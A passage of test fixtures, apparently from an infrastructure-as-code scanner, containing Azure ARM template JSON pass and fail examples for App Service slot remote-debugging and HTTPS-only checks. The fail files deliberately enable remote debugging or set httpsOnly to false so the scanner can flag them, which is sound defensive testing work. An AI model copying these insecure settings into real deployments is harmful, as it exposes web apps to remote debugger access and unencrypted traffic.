"int" } ], "ipSecurityRestrictionsDefaultAction": "string", "javaContainer": "string", "javaContainerVersion": "string", "javaVersion": "string", "keyVaultReferenceIdentity": "string", "limits": { "maxDiskSizeInMb": "int", "maxMemoryInMb": "int", "maxPercentageCpu": "int" }, "linuxFxVersion": "string", "loadBalancing": "string", "localMySqlEnabled": "bool", "logsDirectorySizeLimit": "int", "managedPipelineMode": "string", "managedServiceIdentityId": "int", "metadata": [ { "name": "string", "value": "string" } ], "minimumElasticInstanceCount": "int", "minTlsVersion": "string", "netFrameworkVersion": "string", "nodeVersion": "string", "numberOfWorkers": "int", "phpVersion": "string", "powerShellVersion": "string", "preWarmedInstanceCount": "int", "publicNetworkAccess": "string", "publishingUsername": "string", "push": { "kind": "string", "properties": { "dynamicTagsJson": "string", "isPushEnabled": "bool", "tagsRequiringAuth": "string", "tagWhitelistJson": "string" } }, "pythonVersion": "string", "remoteDebuggingEnabled": "bool", "remoteDebuggingVersion": "string", "requestTracingEnabled": "bool", "requestTracingExpirationTime": "string", "scmIpSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "scmIpSecurityRestrictionsDefaultAction": "string", "scmIpSecurityRestrictionsUseMain": "bool", "scmMinTlsVersion": "string", "scmType": "string", "tracingOptions": "string", "use32BitWorkerProcess": "bool", "virtualApplications": [ { "physicalPath": "string", "preloadEnabled": "bool", "virtualDirectories": [ { "physicalPath": "string", "virtualPath": "string" } ], "virtualPath": "string" } ], "vnetName": "string", "vnetPrivatePortsCount": "int", "vnetRouteAllEnabled": "bool", "websiteTimeZone": "string", "webSocketsEnabled": "bool", "windowsFxVersion": "string", "xManagedServiceIdentityId": "int" }, "storageAccountRequired": "bool", "virtualNetworkSubnetId": "string", "vnetContentShareEnabled": "bool", "vnetImagePullEnabled": "bool", "vnetRouteAllEnabled": "bool" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceSlotDebugDisabled/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue": "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku": { "type": "string", "defaultValue": "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion": { "type": "string", "defaultValue": "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2022-09-01", "name": "fail", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "kind": "string", "extendedLocation": { "name": "string" }, "identity": { "type": "string", "userAssignedIdentities": {} }, "properties": { "clientAffinityEnabled": "bool", "clientCertEnabled": "bool", "clientCertExclusionPaths": "string", "clientCertMode": "string", "cloningInfo": { "appSettingsOverrides": {}, "cloneCustomHostNames": "bool", "cloneSourceControl": "bool", "configureLoadBalancing": "bool", "correlationId": "string", "hostingEnvironment": "string", "overwrite": "bool", "sourceWebAppId": "string", "sourceWebAppLocation": "string", "trafficManagerProfileId": "string", "trafficManagerProfileName": "string" }, "containerSize": "int", "customDomainVerificationId": "string", "dailyMemoryTimeQuota": "int", "enabled": "bool", "hostingEnvironmentProfile": { "id": "string" }, "hostNamesDisabled": "bool", "hostNameSslStates": [ { "hostType": "string", "name": "string", "sslState": "string", "thumbprint": "string", "toUpdate": "bool", "virtualIP": "string" } ], "httpsOnly": "bool", "hyperV": "bool", "isXenon": "bool", "keyVaultReferenceIdentity": "string", "managedEnvironmentId": "string", "publicNetworkAccess": "string", "redundancyMode": "string", "reserved": "bool", "scmSiteAlsoStopped": "bool", "serverFarmId": "string", "siteConfig": { "acrUseManagedIdentityCreds": "bool", "acrUserManagedIdentityID": "string", "alwaysOn": "bool", "apiDefinition": { "url": "string" }, "apiManagementConfig": { "id": "string" }, "appCommandLine": "string", "appSettings": [ { "name": "string", "value": "string" } ], "autoHealEnabled": "bool", "autoHealRules": { "actions": { "actionType": "string", "customAction": { "exe": "string", "parameters": "string" }, "minProcessExecutionTime": "string" }, "triggers": { "privateBytesInKB": "int", "requests": { "count": "int", "timeInterval": "string" }, "slowRequests": { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" }, "slowRequestsWithPath": [ { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" } ], "statusCodes": [ { "count": "int", "path": "string", "status": "int", "subStatus": "int", "timeInterval": "string", "win32Status": "int" } ], "statusCodesRange": [ { "count": "int", "path": "string", "statusCodes": "string", "timeInterval": "string" } ] } }, "autoSwapSlotName": "string", "azureStorageAccounts": {}, "connectionStrings": [ { "connectionString": "string", "name": "string", "type": "string" } ], "cors": { "allowedOrigins": [ "is try string to app service disallow cors" ], "supportCredentials": "bool" }, "defaultDocuments": [ "string" ], "detailedErrorLoggingEnabled": "bool", "documentRoot": "string", "elasticWebAppScaleLimit": "int", "experiments": { "rampUpRules": [ { "actionHostName": "string", "changeDecisionCallbackUrl": "string", "changeIntervalInMinutes": "int", "changeStep": "int", "maxReroutePercentage": "int", "minReroutePercentage": "int", "name": "string", "reroutePercentage": "int" } ] }, "ftpsState": "string", "functionAppScaleLimit": "int", "functionsRuntimeScaleMonitoringEnabled": "bool", "handlerMappings": [ { "arguments": "string", "extension": "string", "scriptProcessor": "string" } ], "healthCheckPath": "string", "http20Enabled": "bool", "httpLoggingEnabled": "bool", "ipSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "ipSecurityRestrictionsDefaultAction": "string", "javaContainer": "string", "javaContainerVersion": "string", "javaVersion": "string", "keyVaultReferenceIdentity": "string", "limits": { "maxDiskSizeInMb": "int", "maxMemoryInMb": "int", "maxPercentageCpu": "int" }, "linuxFxVersion": "string", "loadBalancing": "string", "localMySqlEnabled": "bool", "logsDirectorySizeLimit": "int", "managedPipelineMode": "string", "managedServiceIdentityId": "int", "metadata": [ { "name": "string", "value": "string" } ], "minimumElasticInstanceCount": "int", "minTlsVersion": "string", "netFrameworkVersion": "string", "nodeVersion": "string", "numberOfWorkers": "int", "phpVersion": "string", "powerShellVersion": "string", "preWarmedInstanceCount": "int", "publicNetworkAccess": "string", "publishingUsername": "string", "push": { "kind": "string", "properties": { "dynamicTagsJson": "string", "isPushEnabled": "bool", "tagsRequiringAuth": "string", "tagWhitelistJson": "string" } }, "pythonVersion": "string", "remoteDebuggingEnabled": true, "remoteDebuggingVersion": "string", "requestTracingEnabled": "bool", "requestTracingExpirationTime": "string", "scmIpSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "scmIpSecurityRestrictionsDefaultAction": "string", "scmIpSecurityRestrictionsUseMain": "bool", "scmMinTlsVersion": "string", "scmType": "string", "tracingOptions": "string", "use32BitWorkerProcess": "bool", "virtualApplications": [ { "physicalPath": "string", "preloadEnabled": "bool", "virtualDirectories": [ { "physicalPath": "string", "virtualPath": "string" } ], "virtualPath": "string" } ], "vnetName": "string", "vnetPrivatePortsCount": "int", "vnetRouteAllEnabled": "bool", "websiteTimeZone": "string", "webSocketsEnabled": "bool", "windowsFxVersion": "string", "xManagedServiceIdentityId": "int" }, "storageAccountRequired": "bool", "virtualNetworkSubnetId": "string", "vnetContentShareEnabled": "bool", "vnetImagePullEnabled": "bool", "vnetRouteAllEnabled": "bool" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceSlotDebugDisabled/fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue": "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/sites/slots", "apiVersion": "2022-09-01", "name": "fail2", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "kind": "string", "extendedLocation": { "name": "string" }, "properties": { "clientAffinityEnabled": "bool", "cloningInfo": { "appSettingsOverrides": {}, "cloneCustomHostNames": "bool", "cloneSourceControl": "bool", "configureLoadBalancing": "bool", "correlationId": "string", "hostingEnvironment": "string", "overwrite": "bool", "sourceWebAppId": "string", "sourceWebAppLocation": "string", "trafficManagerProfileId": "string", "trafficManagerProfileName": "string" }, "containerSize": "int", "customDomainVerificationId": "string", "dailyMemoryTimeQuota": "int", "enabled": "bool", "hostingEnvironmentProfile": { "id": "string" }, "hostNamesDisabled": "bool", "httpsOnly": "bool", "hyperV": "bool", "isXenon": "bool", "serverFarmId": "string", "siteConfig": { "acrUseManagedIdentityCreds": "bool", "acrUserManagedIdentityID": "string", "alwaysOn": "bool", "apiDefinition": { "url": "string" }, "apiManagementConfig": { "id": "string" }, "appCommandLine": "string", "appSettings": [ { "name": "string", "value": "string" } ], "autoHealEnabled": "bool", "autoHealRules": { "actions": { "actionType": "string", "customAction": { "exe": "string", "parameters": "string" }, "minProcessExecutionTime": "string" } }, "autoSwapSlotName": "string", "azureStorageAccounts": {}, "connectionStrings": [ { "connectionString": "string", "name": "string", "type": "string" } ], "cors": { "allowedOrigins": [ "string" ], "supportCredentials": "bool" }, "defaultDocuments": [ "string" ], "detailedErrorLoggingEnabled": "bool", "documentRoot": "string", "elasticWebAppScaleLimit": "int", "experiments": { "rampUpRules": [ { "actionHostName": "string", "changeDecisionCallbackUrl": "string", "changeIntervalInMinutes": "int", "changeStep": "int", "maxReroutePercentage": "int", "minReroutePercentage": "int", "name": "string", "reroutePercentage": "int" } ] }, "ftpsState": "string", "functionAppScaleLimit": "int", "functionsRuntimeScaleMonitoringEnabled": "bool", "handlerMappings": [ { "arguments": "string", "extension": "string", "scriptProcessor": "string" } ], "healthCheckPath": "string", "http20Enabled": "bool", "httpLoggingEnabled": "bool", "ipSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "ipSecurityRestrictionsDefaultAction": "string", "javaContainer": "string", "javaContainerVersion": "string", "javaVersion": "string", "keyVaultReferenceIdentity": "string", "limits": { "maxDiskSizeInMb": "int", "maxMemoryInMb": "int", "maxPercentageCpu": "int" }, "linuxFxVersion": "string", "loadBalancing": "string", "localMySqlEnabled": "bool", "logsDirectorySizeLimit": "int", "managedPipelineMode": "string", "managedServiceIdentityId": "int", "metadata": [ { "name": "string", "value": "string" } ], "minimumElasticInstanceCount": "int", "minTlsVersion": "string", "netFrameworkVersion": "string", "nodeVersion": "string", "numberOfWorkers": "int", "phpVersion": "string", "powerShellVersion": "string", "preWarmedInstanceCount": "int", "publicNetworkAccess": "string", "publishingUsername": "string", "push": { "kind": "string", "properties": { "dynamicTagsJson": "string", "isPushEnabled": "bool", "tagsRequiringAuth": "string", "tagWhitelistJson": "string" } }, "pythonVersion": "string", "remoteDebuggingEnabled": true, "remoteDebuggingVersion": "string", "requestTracingEnabled": "bool", "requestTracingExpirationTime": "string", "scmIpSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "scmIpSecurityRestrictionsDefaultAction": "string", "scmIpSecurityRestrictionsUseMain": "bool", "scmMinTlsVersion": "string", "scmType": "string", "tracingOptions": "string", "use32BitWorkerProcess": "bool", "virtualApplications": [ { "physicalPath": "string", "preloadEnabled": "bool", "virtualDirectories": [ { "physicalPath": "string", "virtualPath": "string" } ], "virtualPath": "string" } ], "vnetName": "string", "vnetPrivatePortsCount": "int", "vnetRouteAllEnabled": "bool", "websiteTimeZone": "string", "webSocketsEnabled": "bool", "windowsFxVersion": "string", "xManagedServiceIdentityId": "int" }, "storageAccountRequired": "bool", "virtualNetworkSubnetId": "string", "vnetContentShareEnabled": "bool", "vnetImagePullEnabled": "bool", "vnetRouteAllEnabled": "bool" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceSlotDebugDisabled/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue": "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku": { "type": "string", "defaultValue": "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion": { "type": "string", "defaultValue": "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2022-09-01", "name": "pass", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "kind": "string", "extendedLocation": { "name": "string" }, "identity": { "type": "string", "userAssignedIdentities": {} }, "properties": { "clientAffinityEnabled": "bool", "clientCertEnabled": "bool", "clientCertExclusionPaths": "string", "clientCertMode": "string", "cloningInfo": { "appSettingsOverrides": {}, "cloneCustomHostNames": "bool", "cloneSourceControl": "bool", "configureLoadBalancing": "bool", "correlationId": "string", "hostingEnvironment": "string", "overwrite": "bool", "sourceWebAppId": "string", "sourceWebAppLocation": "string", "trafficManagerProfileId": "string", "trafficManagerProfileName": "string" }, "containerSize": "int", "customDomainVerificationId": "string", "dailyMemoryTimeQuota": "int", "enabled": "bool", "hostingEnvironmentProfile": { "id": "string" }, "hostNamesDisabled": "bool", "hostNameSslStates": [ { "hostType": "string", "name": "string", "sslState": "string", "thumbprint": "string", "toUpdate": "bool", "virtualIP": "string" } ], "httpsOnly": "bool", "hyperV": "bool", "isXenon": "bool", "keyVaultReferenceIdentity": "string", "managedEnvironmentId": "string", "publicNetworkAccess": "string", "redundancyMode": "string", "reserved": "bool", "scmSiteAlsoStopped": "bool", "serverFarmId": "string", "siteConfig": { "acrUseManagedIdentityCreds": "bool", "acrUserManagedIdentityID": "string", "alwaysOn": "bool", "apiDefinition": { "url": "string" }, "apiManagementConfig": { "id": "string" }, "appCommandLine": "string", "appSettings": [ { "name": "string", "value": "string" } ], "autoHealEnabled": "bool", "autoHealRules": { "actions": { "actionType": "string", "customAction": { "exe": "string", "parameters": "string" }, "minProcessExecutionTime": "string" }, "triggers": { "privateBytesInKB": "int", "requests": { "count": "int", "timeInterval": "string" }, "slowRequests": { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" }, "slowRequestsWithPath": [ { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" } ], "statusCodes": [ { "count": "int", "path": "string", "status": "int", "subStatus": "int", "timeInterval": "string", "win32Status": "int" } ], "statusCodesRange": [ { "count": "int", "path": "string", "statusCodes": "string", "timeInterval": "string" } ] } }, "autoSwapSlotName": "string", "azureStorageAccounts": {}, "connectionStrings": [ { "connectionString": "string", "name": "string", "type": "string" } ], "cors": { "allowedOrigins": [ "is try string to app service disallow cors" ], "supportCredentials": "bool" }, "defaultDocuments": [ "string" ], "detailedErrorLoggingEnabled": "bool", "documentRoot": "string", "elasticWebAppScaleLimit": "int", "experiments": { "rampUpRules": [ { "actionHostName": "string", "changeDecisionCallbackUrl": "string", "changeIntervalInMinutes": "int", "changeStep": "int", "maxReroutePercentage": "int", "minReroutePercentage": "int", "name": "string", "reroutePercentage": "int" } ] }, "ftpsState": "string", "functionAppScaleLimit": "int", "functionsRuntimeScaleMonitoringEnabled": "bool", "handlerMappings": [ { "arguments": "string", "extension": "string", "scriptProcessor": "string" } ], "healthCheckPath": "string", "http20Enabled": "bool", "httpLoggingEnabled": "bool", "ipSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "ipSecurityRestrictionsDefaultAction": "string", "javaContainer": "string", "javaContainerVersion": "string", "javaVersion": "string", "keyVaultReferenceIdentity": "string", "limits": { "maxDiskSizeInMb": "int", "maxMemoryInMb": "int", "maxPercentageCpu": "int" }, "linuxFxVersion": "string", "loadBalancing": "string", "localMySqlEnabled": "bool", "logsDirectorySizeLimit": "int", "managedPipelineMode": "string", "managedServiceIdentityId": "int", "metadata": [ { "name": "string", "value": "string" } ], "minimumElasticInstanceCount": "int", "minTlsVersion": "string", "netFrameworkVersion": "string", "nodeVersion": "string", "numberOfWorkers": "int", "phpVersion": "string", "powerShellVersion": "string", "preWarmedInstanceCount": "int", "publicNetworkAccess": "string", "publishingUsername": "string", "push": { "kind": "string", "properties": { "dynamicTagsJson": "string", "isPushEnabled": "bool", "tagsRequiringAuth": "string", "tagWhitelistJson": "string" } }, "pythonVersion": "string", "remoteDebuggingEnabled": false, "remoteDebuggingVersion": "string", "requestTracingEnabled": "bool", "requestTracingExpirationTime": "string", "scmIpSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "scmIpSecurityRestrictionsDefaultAction": "string", "scmIpSecurityRestrictionsUseMain": "bool", "scmMinTlsVersion": "string", "scmType": "string", "tracingOptions": "string", "use32BitWorkerProcess": "bool", "virtualApplications": [ { "physicalPath": "string", "preloadEnabled": "bool", "virtualDirectories": [ { "physicalPath": "string", "virtualPath": "string" } ], "virtualPath": "string" } ], "vnetName": "string", "vnetPrivatePortsCount": "int", "vnetRouteAllEnabled": "bool", "websiteTimeZone": "string", "webSocketsEnabled": "bool", "windowsFxVersion": "string", "xManagedServiceIdentityId": "int" }, "storageAccountRequired": "bool", "virtualNetworkSubnetId": "string", "vnetContentShareEnabled": "bool", "vnetImagePullEnabled": "bool", "vnetRouteAllEnabled": "bool" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceSlotDebugDisabled/pass2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue": "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/sites/slots", "apiVersion": "2022-09-01", "name": "pass2", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "kind": "string", "extendedLocation": { "name": "string" }, "properties": { "clientAffinityEnabled": "bool", "cloningInfo": { "appSettingsOverrides": {}, "cloneCustomHostNames": "bool", "cloneSourceControl": "bool", "configureLoadBalancing": "bool", "correlationId": "string", "hostingEnvironment": "string", "overwrite": "bool", "sourceWebAppId": "string", "sourceWebAppLocation": "string", "trafficManagerProfileId": "string", "trafficManagerProfileName": "string" }, "containerSize": "int", "customDomainVerificationId": "string", "dailyMemoryTimeQuota": "int", "enabled": "bool", "hostingEnvironmentProfile": { "id": "string" }, "hostNamesDisabled": "bool", "httpsOnly": "bool", "hyperV": "bool", "isXenon": "bool", "serverFarmId": "string", "siteConfig": { "acrUseManagedIdentityCreds": "bool", "acrUserManagedIdentityID": "string", "alwaysOn": "bool", "apiDefinition": { "url": "string" }, "apiManagementConfig": { "id": "string" }, "appCommandLine": "string", "appSettings": [ { "name": "string", "value": "string" } ], "autoHealEnabled": "bool", "autoHealRules": { "actions": { "actionType": "string", "customAction": { "exe": "string", "parameters": "string" }, "minProcessExecutionTime": "string" } }, "autoSwapSlotName": "string", "azureStorageAccounts": {}, "connectionStrings": [ { "connectionString": "string", "name": "string", "type": "string" } ], "cors": { "allowedOrigins": [ "string" ], "supportCredentials": "bool" }, "defaultDocuments": [ "string" ], "detailedErrorLoggingEnabled": "bool", "documentRoot": "string", "elasticWebAppScaleLimit": "int", "experiments": { "rampUpRules": [ { "actionHostName": "string", "changeDecisionCallbackUrl": "string", "changeIntervalInMinutes": "int", "changeStep": "int", "maxReroutePercentage": "int", "minReroutePercentage": "int", "name": "string", "reroutePercentage": "int" } ] }, "ftpsState": "string", "functionAppScaleLimit": "int", "functionsRuntimeScaleMonitoringEnabled": "bool", "handlerMappings": [ { "arguments": "string", "extension": "string", "scriptProcessor": "string" } ], "healthCheckPath": "string", "http20Enabled": "bool", "httpLoggingEnabled": "bool", "ipSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "ipSecurityRestrictionsDefaultAction": "string", "javaContainer": "string", "javaContainerVersion": "string", "javaVersion": "string", "keyVaultReferenceIdentity": "string", "limits": { "maxDiskSizeInMb": "int", "maxMemoryInMb": "int", "maxPercentageCpu": "int" }, "linuxFxVersion": "string", "loadBalancing": "string", "localMySqlEnabled": "bool", "logsDirectorySizeLimit": "int", "managedPipelineMode": "string", "managedServiceIdentityId": "int", "metadata": [ { "name": "string", "value": "string" } ], "minimumElasticInstanceCount": "int", "minTlsVersion": "string", "netFrameworkVersion": "string", "nodeVersion": "string", "numberOfWorkers": "int", "phpVersion": "string", "powerShellVersion": "string", "preWarmedInstanceCount": "int", "publicNetworkAccess": "string", "publishingUsername": "string", "push": { "kind": "string", "properties": { "dynamicTagsJson": "string", "isPushEnabled": "bool", "tagsRequiringAuth": "string", "tagWhitelistJson": "string" } }, "pythonVersion": "string", "remoteDebuggingVersion": "string", "requestTracingEnabled": "bool", "requestTracingExpirationTime": "string", "scmIpSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "scmIpSecurityRestrictionsDefaultAction": "string", "scmIpSecurityRestrictionsUseMain": "bool", "scmMinTlsVersion": "string", "scmType": "string", "tracingOptions": "string", "use32BitWorkerProcess": "bool", "virtualApplications": [ { "physicalPath": "string", "preloadEnabled": "bool", "virtualDirectories": [ { "physicalPath": "string", "virtualPath": "string" } ], "virtualPath": "string" } ], "vnetName": "string", "vnetPrivatePortsCount": "int", "vnetRouteAllEnabled": "bool", "websiteTimeZone": "string", "webSocketsEnabled": "bool", "windowsFxVersion": "string", "xManagedServiceIdentityId": "int" }, "storageAccountRequired": "bool", "virtualNetworkSubnetId": "string", "vnetContentShareEnabled": "bool", "vnetImagePullEnabled": "bool", "vnetRouteAllEnabled": "bool" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppServiceSlotHTTPSOnly/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "webAppName": { "type": "string", "defaultValue": "AzureLinuxApp", "metadata": { "description": "Base name of the resource such as web app name and app service plan " }, "minLength": 2 }, "sku": { "type": "string", "defaultValue": "S1", "metadata": { "description": "The SKU of App Service Plan " } }, "linuxFxVersion": { "type": "string", "defaultValue": "php|7.0", "metadata": { "description": "The Runtime stack of current web app" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "webAppPortalName": "[concat(parameters('webAppName'), '-webapp')]", "appServicePlanName": "[concat('AppServicePlan-', parameters('webAppName'))]" }, "resources": [ { "type": "Microsoft.Web/sites", "apiVersion": "2022-09-01", "name": "fail", "location": "string", "tags": { "tagName1": "tagValue1", "tagName2": "tagValue2" }, "kind": "string", "extendedLocation": { "name": "string" }, "identity": { "type": "string", "userAssignedIdentities": {} }, "properties": { "clientAffinityEnabled": "bool", "clientCertEnabled": "bool", "clientCertExclusionPaths": "string", "clientCertMode": "string", "cloningInfo": { "appSettingsOverrides": {}, "cloneCustomHostNames": "bool", "cloneSourceControl": "bool", "configureLoadBalancing": "bool", "correlationId": "string", "hostingEnvironment": "string", "overwrite": "bool", "sourceWebAppId": "string", "sourceWebAppLocation": "string", "trafficManagerProfileId": "string", "trafficManagerProfileName": "string" }, "containerSize": "int", "customDomainVerificationId": "string", "dailyMemoryTimeQuota": "int", "enabled": "bool", "hostingEnvironmentProfile": { "id": "string" }, "hostNamesDisabled": "bool", "hostNameSslStates": [ { "hostType": "string", "name": "string", "sslState": "string", "thumbprint": "string", "toUpdate": "bool", "virtualIP": "string" } ], "httpsOnly": false, "hyperV": "bool", "isXenon": "bool", "keyVaultReferenceIdentity": "string", "managedEnvironmentId": "string", "publicNetworkAccess": "string", "redundancyMode": "string", "reserved": "bool", "scmSiteAlsoStopped": "bool", "serverFarmId": "string", "siteConfig": { "acrUseManagedIdentityCreds": "bool", "acrUserManagedIdentityID": "string", "alwaysOn": "bool", "apiDefinition": { "url": "string" }, "apiManagementConfig": { "id": "string" }, "appCommandLine": "string", "appSettings": [ { "name": "string", "value": "string" } ], "autoHealEnabled": "bool", "autoHealRules": { "actions": { "actionType": "string", "customAction": { "exe": "string", "parameters": "string" }, "minProcessExecutionTime": "string" }, "triggers": { "privateBytesInKB": "int", "requests": { "count": "int", "timeInterval": "string" }, "slowRequests": { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" }, "slowRequestsWithPath": [ { "count": "int", "path": "string", "timeInterval": "string", "timeTaken": "string" } ], "statusCodes": [ { "count": "int", "path": "string", "status": "int", "subStatus": "int", "timeInterval": "string", "win32Status": "int" } ], "statusCodesRange": [ { "count": "int", "path": "string", "statusCodes": "string", "timeInterval": "string" } ] } }, "autoSwapSlotName": "string", "azureStorageAccounts": {}, "connectionStrings": [ { "connectionString": "string", "name": "string", "type": "string" } ], "cors": { "allowedOrigins": [ "is try string to app service disallow cors" ], "supportCredentials": "bool" }, "defaultDocuments": [ "string" ], "detailedErrorLoggingEnabled": "bool", "documentRoot": "string", "elasticWebAppScaleLimit": "int", "experiments": { "rampUpRules": [ { "actionHostName": "string", "changeDecisionCallbackUrl": "string", "changeIntervalInMinutes": "int", "changeStep": "int", "maxReroutePercentage": "int", "minReroutePercentage": "int", "name": "string", "reroutePercentage": "int" } ] }, "ftpsState": "string", "functionAppScaleLimit": "int", "functionsRuntimeScaleMonitoringEnabled": "bool", "handlerMappings": [ { "arguments": "string", "extension": "string", "scriptProcessor": "string" } ], "healthCheckPath": "string", "http20Enabled": "bool", "httpLoggingEnabled": "bool", "ipSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "ipSecurityRestrictionsDefaultAction": "string", "javaContainer": "string", "javaContainerVersion": "string", "javaVersion": "string", "keyVaultReferenceIdentity": "string", "limits": { "maxDiskSizeInMb": "int", "maxMemoryInMb": "int", "maxPercentageCpu": "int" }, "linuxFxVersion": "string", "loadBalancing": "string", "localMySqlEnabled": "bool", "logsDirectorySizeLimit": "int", "managedPipelineMode": "string", "managedServiceIdentityId": "int", "metadata": [ { "name": "string", "value": "string" } ], "minimumElasticInstanceCount": "int", "minTlsVersion": "string", "netFrameworkVersion": "string", "nodeVersion": "string", "numberOfWorkers": "int", "phpVersion": "string", "powerShellVersion": "string", "preWarmedInstanceCount": "int", "publicNetworkAccess": "string", "publishingUsername": "string", "push": { "kind": "string", "properties": { "dynamicTagsJson": "string", "isPushEnabled": "bool", "tagsRequiringAuth": "string", "tagWhitelistJson": "string" } }, "pythonVersion": "string", "remoteDebuggingEnabled": false, "remoteDebuggingVersion": "string", "requestTracingEnabled": "bool", "requestTracingExpirationTime": "string", "scmIpSecurityRestrictions": [ { "action": "string", "description": "string", "headers": {}, "ipAddress": "string", "name": "string", "priority": "int", "subnetMask": "string", "subnetTrafficTag": "int", "tag": "string", "vnetSubnetResourceId": "string", "vnetTrafficTag": "int" } ], "scmIpSecurityRestrictionsDefaultAction": "string", "scmIpSecurityRestrictionsUseMain": "bool", "scmMinTlsVersion": "string", "scmType": "string", "tracingOptions": "string", "use32BitWorkerProcess": "bool", "virtualApplications": [ { "physicalPath": "string", "preloadEnabled": "bool", "virtualDirectories": [ { "physicalPath": "string", "virtualPath": "string" } ], "virtualPath": "string" } ], "vnetName": "string", "vnetPrivatePortsCount": "int", "vnetRouteAllEnabled": "bool", "websiteTimeZone": "string", "webSocketsEnabled": 